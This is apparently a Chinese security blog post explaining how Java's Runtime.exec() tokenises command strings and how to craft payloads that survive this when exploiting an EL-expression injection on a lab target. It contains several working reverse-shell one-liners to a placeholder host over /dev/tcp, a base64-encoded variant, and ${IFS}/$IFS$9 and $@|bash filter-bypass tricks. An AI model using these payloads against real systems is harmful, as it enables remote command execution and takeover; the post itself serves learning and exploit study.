續(xù)上篇
0x04 Runtime.exec() 理解
通過(guò)查閱資料和自己實(shí)踐發(fā)現(xiàn),exec方法總共六個(gè)重載方法
public Process exec(String command) throws IOException {
return exec(command, null, null);
}
public Process exec(String command, String[] envp) throws IOException {
return exec(command, envp, null);
}
public Process exec(String command, String[] envp, File dir)
throws IOException {
if (command.length() == 0)
throw new IllegalArgumentException("Empty command");
StringTokenizer st = new StringTokenizer(command);
String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoreTokens(); i++)
cmdarray[i] = st.nextToken();
return exec(cmdarray, envp, dir);
}
public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray, null, null);
}
public Process exec(String[] cmdarray, String[] envp) throws IOException {
return exec(cmdarray, envp, null);
}
public Process exec(String[] cmdarray, String[] envp, File dir)
throws IOException {
return new ProcessBuilder(cmdarray)
.environment(envp)
.directory(dir)
.start();
}
但不管哪個(gè)方法,最后都是調(diào)用執(zhí)行 exec(String[] cmdarray, String[] envp, File dir)
首先來(lái)看我調(diào)用的 exec(String command) ,它經(jīng)過(guò) exec(String command, String[] envp, File dir) 函數(shù)里 StringTokenizer 通過(guò)分割符進(jìn)行分割。java 默認(rèn)的分隔符是空格("")、制表符(\t)、換行符(\n)、回車(chē)符(\r)。最后存入字符串?dāng)?shù)組,再傳入執(zhí)行函數(shù)。
而它的底層也是調(diào)用的 ProcessBuilder 創(chuàng)建進(jìn)程,而 array[0] 其實(shí)就是進(jìn)程位置

在經(jīng)過(guò)查閱資料,我發(fā)現(xiàn)直接傳入字符串之所以不能 執(zhí)行命令,主要有這幾個(gè)原因。:
1、重定向和管道符的使用方式在正在啟動(dòng)的進(jìn)程的中沒(méi)有意義。這是什么意思呢?例如,ls > dir_listing 在shell中執(zhí)行為將當(dāng)前目錄的列表輸出到命名為 dir_listing 。但是在 exec() 函數(shù)的中,該命令為解釋為獲取 > 和 dir_listing 目錄的列表。

換句話(huà)來(lái)講,就是重定向和管道符,需要在我們諸如 bash 的環(huán)境下才有意義。所以我們需要將 /bin/bash 賦予給 array[0] 來(lái)調(diào)用 bash 進(jìn)程。

2、參數(shù)無(wú)法界定范圍。當(dāng)在你直接傳入 exec("bash -c 'bash -i >& /dev/tcp/xx.xx.xx.xx/6543 0>&1'") 整個(gè)字符串后。會(huì)經(jīng)過(guò) StringTokenizer 進(jìn)行分割,會(huì)變成
"bash" "-c" "'bash" "-i" ">&" "/dev/tcp/xx.xx.xx.xx/6543" "0>&1"
這會(huì)導(dǎo)致參數(shù)無(wú)法界定。比如我們此處解析的參數(shù)就是 -c 'bash 。
也就是說(shuō)我們這里的參數(shù) -c 的值,需要不讓他做分割。
0x05 執(zhí)行方法
1、傳入數(shù)組執(zhí)行
回過(guò)頭來(lái)看我們 exec() 的重載方法,發(fā)現(xiàn)如果是傳入數(shù)組的話(huà) exec(cmdarray[]) ,它并不會(huì)進(jìn)行分割的,所以反彈shell是可以采用的
exec(new String[]{"bash","-c","bash -i >& /dev/tcp/xx.xx.xx.xx/6543 0>&1")
但是我在執(zhí)行這句命令的時(shí)候,由于我復(fù)現(xiàn)的漏洞是根據(jù)一個(gè)EL表達(dá)式來(lái)執(zhí)行的。我鍵入 {} 以后便不會(huì)執(zhí)行命令,原因我猜測(cè)是因?yàn)橐?} 結(jié)尾后,導(dǎo)致語(yǔ)句出錯(cuò),便不執(zhí)行。

而網(wǎng)上的另一種寫(xiě)法,我反正本地是一紅到底
exec(["/bin/bash","-c","bash -i >& /dev/tcp/xx.xx.xx.xx/6543 0>&1"] as String[])

也就是我們這里暫時(shí)是沒(méi)法傳入數(shù)組的,需要只傳入一個(gè)cmd參數(shù) Runtime.getRuntime().exec(String cmd)。
2、傳入字符串執(zhí)行
在上文探討到,為了讓他能正常執(zhí)行,需要正確的界定 -c 參數(shù),也就是說(shuō)需要讓我們最后需要執(zhí)行的命令不進(jìn)行分割。
base64
bash 是支持 base64 編碼解碼的,所以可以采用,來(lái)進(jìn)行反彈。但是這里同上,存在 {},所以棄用這個(gè)方法
exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");
IFS
IFS The Internal Field Separator that is used for word splitting after expansion and to split lines into words with the read builtin command. The default value is ''.
在 bash 中 IFS 是內(nèi)部域分隔符,其默認(rèn)值為空白(包括:空格,tab, 和換行)
嘗試構(gòu)造payload:
bash${IFS}-i${IFS}>&${IFS}/dev/tcp/ip/port${IFS}0>&1
但是這樣會(huì)報(bào)不明確的重定向的錯(cuò)誤,然后我嘗試將所有重定向前后的 ${IFS} 去掉,利用 0>&1 等價(jià)于 0<&1 再來(lái)構(gòu)造,就能成功反彈shell了
bash${IFS}-i>&/dev/tcp/ip/port<&1

這里的{}使用來(lái)做截?cái)嗍褂玫?,例?cat$IFSt.txt ,$IFSt 被當(dāng)作了變量名。
而再在 $IFS 后面加 $ 也可以起到截?cái)嗟淖饔?,一般?$9 ,因?yàn)?$9 是當(dāng)前系統(tǒng)shell進(jìn)程的第九個(gè)參數(shù)的持有者,這里始終為空字符串。

我們這里 ${IFS} 和 $IFS$9 都是相同的作用,所以直接替換就行了。
bash$IFS$9-i>&/dev/tcp/ip/port<&1
這里便成功執(zhí)行出來(lái)了。

*
$@ 代表傳入?yún)?shù)的列表 ,$* 以字符串方式顯示所有傳入的參數(shù)
例如
/bin/bash -c '$@|bash' 'xxx' 'echo' 'ls'
$@|bash 就相當(dāng)于獲取到的參數(shù)作為bash的輸入
而這里的由于 $* $@ 只會(huì)從腳本里讀取參數(shù),所以這里把 xxx 解釋為腳本名
也就是說(shuō),這里的
'$@|bash' 'xxx' 'echo' 'ls'
執(zhí)行的是:
echo 'ls'|bash

所以我們便能通過(guò)這個(gè)來(lái)構(gòu)造我們的反彈shell了(這里的靶機(jī)是 vulfocus的試用地址
,各位不用擔(dān)心漏IP了)

總結(jié)
總的來(lái)說(shuō),根據(jù)查閱資料和自己實(shí)踐,收獲了很多知識(shí)。
特別感謝 spoock 、K0rz3n 兩位大佬的文章,看了大佬的分析后才學(xué)到了這么多東西,少走很多彎路。